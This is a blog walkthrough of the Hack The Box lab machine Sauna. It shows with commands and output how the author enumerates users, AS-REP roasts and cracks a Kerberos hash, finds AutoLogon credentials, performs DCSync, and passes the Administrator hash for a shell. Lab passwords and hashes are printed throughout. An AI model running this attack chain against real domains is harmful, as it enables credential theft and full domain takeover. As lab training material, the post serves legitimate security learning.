Post

Sauna Walkthrough - HTB Easy | AS-REP Roasting & AutoLogon Credential Discovery

Complete walkthrough of Sauna from Hack The Box. An easy difficulty Windows machine that features Active Directory enumeration and exploitation. Possible usernames can be derived from employee full names listed on the website. With these usernames, an ASREPRoasting attack can be performed, which results in hash for an account that doesn't require Kerberos pre-authentication. This hash can be subjected to an offline brute force attack, in order to recover the plaintext password for a user that is able to WinRM to the box. Running WinPEAS reveals that another system user has been configured to automatically login and it identifies their password. This second user also has Windows remote management permissions. BloodHound reveals that this user has the DS-Replication-Get-Changes-All extended right, which allows them to dump password hashes from the Domain Controller in a DCSync attack. Executing this attack returns the hash of the primary domain administrator, which can be used with Impacket's psexec.py in order to gain a shell on the box as NT_AUTHORITY\SYSTEM.

Sauna Walkthrough - HTB Easy | AS-REP Roasting & AutoLogon Credential Discovery

Overview

Sauna is an easy difficulty Windows machine that features Active Directory enumeration and exploitation. Possible usernames can be derived from employee full names listed on the website. With these usernames, an ASREPRoasting attack can be performed, which results in hash for an account that doesn’t require Kerberos pre-authentication. This hash can be subjected to an offline brute force attack, in order to recover the plaintext password for a user that is able to WinRM to the box. Running WinPEAS reveals that another system user has been configured to automatically login and it identifies their password. This second user also has Windows remote management permissions. BloodHound reveals that this user has the DS-Replication-Get-Changes-All extended right, which allows them to dump password hashes from the Domain Controller in a DCSync attack. Executing this attack returns the hash of the primary domain administrator, which can be used with Impacket’s psexec.py in order to gain a shell on the box as NT_AUTHORITY\SYSTEM.


External Enumeration

Nmap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
nmap -vv -p- 10.129.4.108 -T4 --min-rate 50  

<SNIP>

PORT      STATE SERVICE          REASON  
53/tcp    open  domain           syn-ack ttl 127  
80/tcp    open  http             syn-ack ttl 127  
88/tcp    open  kerberos-sec     syn-ack ttl 127  
135/tcp   open  msrpc            syn-ack ttl 127  
139/tcp   open  netbios-ssn      syn-ack ttl 127  
389/tcp   open  ldap             syn-ack ttl 127  
445/tcp   open  microsoft-ds     syn-ack ttl 127  
464/tcp   open  kpasswd5         syn-ack ttl 127  
593/tcp   open  http-rpc-epmap   syn-ack ttl 127  
636/tcp   open  ldapssl          syn-ack ttl 127  
3268/tcp  open  globalcatLDAP    syn-ack ttl 127  
3269/tcp  open  globalcatLDAPssl syn-ack ttl 127  
5985/tcp  open  wsman            syn-ack ttl 127  
9389/tcp  open  adws             syn-ack ttl 127  
49667/tcp open  unknown          syn-ack ttl 127  
49673/tcp open  unknown          syn-ack ttl 127  
49674/tcp open  unknown          syn-ack ttl 127  
49677/tcp open  unknown          syn-ack ttl 127  
49698/tcp open  unknown          syn-ack ttl 127  
  
<SNIP>

nmap -vv -p 53,80,135,139,389,445,464,593,636,3268,3269,5985,9389 10.129.4.108 -sC -sV

Key findings:

  • Port 53: DNS
  • Port 80: HTTP
  • Port 88: Kerberos - potential AS-REP roasting
  • Port 389/3268: LDAP
  • Port 445: SMB
  • Port 5985: WinRM
  • Domain: egotistical-bank.local

Web Application Analysis

HTTP Service

Let’s access the HTTP site. Here’s the homepage:

homepage

If we visit it, we find the development team with their names on the about.html page. We can use them to enumerate usernames.

images with usernames

Employee names found:

  • Fergus Smith
  • Shaun Coins
  • Sophie Driver
  • Bowie Taylor
  • Hugo Bear
  • Steven Kerb

Initial Access

Username Enumeration

Username-Anarchy

Let’s create a wordlist with username-anarchy for each user:

1
2
3
4
5
6
7
[Feb 13, 2026 - 11:35:23 (CET)] exegol-main usernameLists # username-anarchy Fergus Smith >> usernames.txt  
[Feb 13, 2026 - 11:35:35 (CET)] exegol-main usernameLists # username-anarchy Shaun Coins >> usernames.txt  
[Feb 13, 2026 - 11:35:47 (CET)] exegol-main usernameLists # username-anarchy Sophie Driver >> usernames.txt  
[Feb 13, 2026 - 11:35:58 (CET)] exegol-main usernameLists # username-anarchy Bowie Tayor >> usernames.txt  
[Feb 13, 2026 - 11:36:08 (CET)] exegol-main usernameLists # username-anarchy Bowie Taylor >> usernames.txt  
[Feb 13, 2026 - 11:36:12 (CET)] exegol-main usernameLists # username-anarchy Hugo Bear >> usernames.txt  
[Feb 13, 2026 - 11:36:21 (CET)] exegol-main usernameLists # username-anarchy Steven Kerb >> usernames.txt

Kerbrute

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
[Feb 13, 2026 - 11:37:50 (CET)] exegol-main usernameLists # kerbrute userenum --domain "egotistical-bank.local" --dc 10.129.4.108 usernames.txt -o risultatiKerbrute.txt  
  
__             __               __  
/ /_____  _____/ /_  _______  __/ /____  
/ //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \  
/ ,< /  __/ /  / /_/ / /  / /_/ / /_/  __/  
/_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/  
  
Version: dev (n/a) - 02/13/26 - Ronnie Flathers @ropnop  
  
2026/02/13 11:40:34 >  Using KDC(s):  
2026/02/13 11:40:34 >   10.129.4.108:88  
  
2026/02/13 11:40:35 >  [+] VALID USERNAME:       fsmith@egotistical-bank.local  
2026/02/13 11:40:43 >  Done! Tested 103 usernames (1 valid) in 8.966 seconds

Valid username found: fsmith

Brute Force Attempt

Let’s start kerbrute’s bruteuser:

1
2
3
4
5
6
7
8
9
10
11
12
[Feb 13, 2026 - 12:01:32 (CET)] exegol-main /workspace # kerbrute bruteuser --domain "egotistical-bank.local" --dc "10.129.4.108" /usr/share/wordlists/rockyou.txt fsmith  
  
__             __               __  
/ /_____  _____/ /_  _______  __/ /____  
/ //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \  
/ ,< /  __/ /  / /_/ / /  / /_/ / /_/  __/  
/_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/  
  
Version: dev (n/a) - 02/13/26 - Ronnie Flathers @ropnop  
  
2026/02/13 12:01:44 >  Using KDC(s):  
2026/02/13 12:01:44 >   10.129.4.108:88

However, no results are obtained.

AS-REP Roasting

Let’s check if fsmith has Kerberos pre-authentication disabled:

1
2
3
4
[Feb 13, 2026 - 12:09:04 (CET)] exegol-main /workspace # GetNPUsers.py -request -format hashcat -outputfile ASREProastables.txt -usersfile tmp -dc-ip "10.129.4.108" "egotistical-bank.local"/  
Impacket v0.13.0.dev0+20250717.182627.84ebce48 - Copyright Fortra, LLC and its affiliated companies  
  
$krb5asrep$23$fsmith@EGOTISTICAL-BANK.LOCAL:fe84ea1bc40156b4d24bd99460f04901$609a571ce0999bc7fd0edbcab7dfc21acc3a17e8bc64a7ee656fa2d9b5db0ffa796af53abfbd39565935a501934af657c2c40c6b0f18d23143bb5d4ac081097c82ffecfbf92cb9e981214dd1e7b0ad6d92fd6c63e37b179a2e62ab28e929044afafccb6438547c1898c9f5bab5e6a8232fabdcae19120850161b01286bafc29695a97e5f9b1b94c03ff961a15809fe52ee3da302f3577a4ac893ead2c62e7783a8db7ce388cf8887d6a06a793d942be2c8c6c3cb25a0d57b09cb11e814052fec62c283e469e4f2dedde97efd489f3e5a016af169065ba0a6c5f4607f55039050bd7393d27ed8598c697068df936c896e56dd3103e956add32c6c89ad5e29db39

AS-REP hash obtained. Let’s crack it offline.

Hash Cracking

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
[Feb 13, 2026 - 12:13:45 (CET)] exegol-main sauna # hashcat -m 18200 ../../hash /opt/lists/rockyou.txt  
hashcat (v6.2.6) starting  
  
OpenCL API (OpenCL 3.0 PoCL 3.1+debian  Linux, None+Asserts, RELOC, SPIR, LLVM 15.0.6, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]  
==================================================================================================================================================  
* Device #1: pthread-haswell-Intel(R) Core(TM) i5-10310U CPU @ 1.70GHz, 2729/5523 MB (1024 MB allocatable), 8MCU  
  
<SNIP>
  
$krb5asrep$23$fsmith@EGOTISTICAL-BANK.LOCAL:fe84ea1bc40156b4d24bd99460f04901$609a571ce0999bc7fd0edbcab7dfc21acc3a17e8bc64a7ee656fa2d9b5db0ffa796af53abfbd39565935a501934af657c2c40c6b0f18d23143bb5d4ac081097c82ffecfbf92cb9e981214dd1e7b0ad6d92fd6c63e37b179a2e62ab28e929044afafccb6438547c1898c9f5bab5e6a8232fabdcae19120850161b01286bafc29695a97e5f9b1b94c03ff961a15809fe52ee3da302f3577a4ac893ead2c62e7783a8db7ce388cf8887d6a06a793d942be2c8c6c3cb25a0d57b09cb11e814052fec62c283e469e4f2dedde97efd489f3e5a016af169065ba0a6c5f4607f55039050bd7393d27ed8598c697068df936c896e56dd3103e956add32c6c89ad5e29db39:Thestrokes23  
  
Session..........: hashcat  
Status...........: Cracked  
Hash.Mode........: 18200 (Kerberos 5, etype 23, AS-REP)  
Hash.Target......: $krb5asrep$23$fsmith@EGOTISTICAL-BANK.LOCAL:fe84ea1...29db39  
Time.Started.....: Fri Feb 13 12:14:03 2026 (18 secs)  
Time.Estimated...: Fri Feb 13 12:14:21 2026 (0 secs)  
<SNIP>
  
Started: Fri Feb 13 12:13:56 2026  
Stopped: Fri Feb 13 12:14:24 2026

Credentials obtained: fsmith:Thestrokes23

WinRM Access as fsmith

1
2
3
4
5
6
7
[Feb 13, 2026 - 12:19:28 (CET)] exegol-main /workspace # evil-winrm -i 10.129.4.108 -u fsmith -p Thestrokes23  
  
Evil-WinRM shell v3.7  
  
Info: Establishing connection to remote endpoint  
*Evil-WinRM* PS C:\Users\FSmith\Documents> whoami  
egotisticalbank\fsmith

User flag obtained.


Lateral Movement

WinPEAS Enumeration

I upload WinPEASx64.exe and run it. I find important information:

1
2
3
4
5
ÉÍÍÍÍÍÍÍÍÍ͹ Looking for AutoLogon credentials  
Some AutoLogon credentials were found  
DefaultDomainName             :  EGOTISTICALBANK  
DefaultUserName               :  EGOTISTICALBANK\svc_loanmanager  
DefaultPassword               :  Moneymakestheworldgoround!

AutoLogon credentials found: svc_loanmanager:Moneymakestheworldgoround!


Privilege Escalation

BloodHound Analysis

To understand where this user is located and how far from domain admins, I run bloodhound.py:

We see that the user in question has DCSync permission on the domain.

Username Discovery Issue

First, we need to connect with evil-WinRM to the new user. I made a mistake because I used the wrong username, since the local one was called svc_loanmgr. Here’s the error:

1
2
3
4
5
6
7
8
9
[Feb 13, 2026 - 16:35:19 (CET)] exegol-main /workspace # evil-winrm -i 10.129.4.165 -u svc_loanmanager -p 'Moneymakestheworldgoround!'

Evil-WinRM shell v3.7

Info: Establishing connection to remote endpoint

Error: An error of type WinRM::WinRMAuthorizationError happened, message is WinRM::WinRMAuthorizationError

Error: Exiting with code 1

Note: The correct name can be seen in BloodHound in the SamAccountName section.

DCSync Attack

Instead of using evil-WinRM, it’s faster to use NetExec:

1
2
3
4
5
6
7
8
9
10
[Feb 13, 2026 - 16:47:39 (CET)] exegol-main /workspace # nxc smb 10.129.4.165 -u svc_loanmgr -p 'Moneymakestheworldgoround!' --ntds --user Administrator
SMB         10.129.4.165    445    SAUNA            [*] Windows 10 / Server 2019 Build 17763 x64 (name:SAUNA) (domain:EGOTISTICAL-BANK.LOCAL) (signing:True) (SMBv1:False)
SMB         10.129.4.165    445    SAUNA            [+] EGOTISTICAL-BANK.LOCAL\svc_loanmgr:Moneymakestheworldgoround!
SMB         10.129.4.165    445    SAUNA            [-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
SMB         10.129.4.165    445    SAUNA            [+] Dumping the NTDS, this could take a while so go grab a redbull...
SMB         10.129.4.165    445    SAUNA            Administrator:500:aad3b435b51404eeaad3b435b51404ee:823452073d75b9d1cf70ebdf86c7f98e:::
SMB         10.129.4.165    445    SAUNA            [+] Dumped 1 NTDS hashes to /root/.nxc/logs/ntds/SAUNA_10.129.4.165_2026-02-13_164752.ntds of which 1 were added to the database
SMB         10.129.4.165    445    SAUNA            [*] To extract only enabled accounts from the output file, run the following command:
SMB         10.129.4.165    445    SAUNA            [*] cat /root/.nxc/logs/ntds/SAUNA_10.129.4.165_2026-02-13_164752.ntds | grep -iv disabled | cut -d ':' -f1
SMB         10.129.4.165    445    SAUNA            [*] grep -iv disabled /root/.nxc/logs/ntds/SAUNA_10.129.4.165_2026-02-13_164752.ntds | cut -d ':' -f1

Administrator NTLM hash obtained: 823452073d75b9d1cf70ebdf86c7f98e


Root Access

Pass-the-Hash

Let’s pass the hash instead of the password to get a shell. We can use psexec.py, but i decided to go with evil-WinRM and obtain the root flag:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
[Feb 13, 2026 - 16:50:21 (CET)] exegol-main /workspace # evil-winrm -i 10.129.4.165 -u Administrator -H 823452073d75b9d1cf70ebdf86c7f98e

Evil-WinRM shell v3.7

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> cd ..\Desktop
*Evil-WinRM* PS C:\Users\Administrator\Desktop> dir


Directory: C:\Users\Administrator\Desktop


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-ar---        2/13/2026   2:03 PM             34 root.txt

Root flag obtained. Box completed.


Reflections

Main Mistake

I used the wrong username when attempting WinRM authentication. I tried svc_loanmanager (as shown in WinPEAS output) instead of svc_loanmgr (the actual SamAccountName). I should have immediately checked BloodHound’s SamAccountName field or used NetExec/CME to verify the correct username format before attempting authentication. This would have saved time troubleshooting the WinRM authentication error.

Alternative Approaches

Instead of NetExec for DCSync, secretsdump.py from Impacket could have been used: secretsdump.py 'EGOTISTICAL-BANK.LOCAL/svc_loanmgr:Moneymakestheworldgoround!@10.129.4.165' (we just need to be careful about the verion of the tool).

Open Question

Why does a loan manager service account (svc_loanmgr) have DCSync privileges on the domain? DCSync is typically reserved for domain controllers and backup systems performing legitimate replication. This represents a critical misconfiguration - service accounts should follow the principle of least privilege. Additionally, why was AutoLogon configured with stored credentials? AutoLogon is a security risk as it stores passwords in plaintext in the registry. What business requirement justified both AutoLogon configuration and granting such excessive permissions to a service account? This demonstrates how seemingly unrelated misconfigurations (AutoLogon + excessive permissions) can chain together for full domain compromise.


Completed this box? Did the username mismatch catch you too? Leave a comment down below!

This post is licensed under CC BY 4.0 by the author.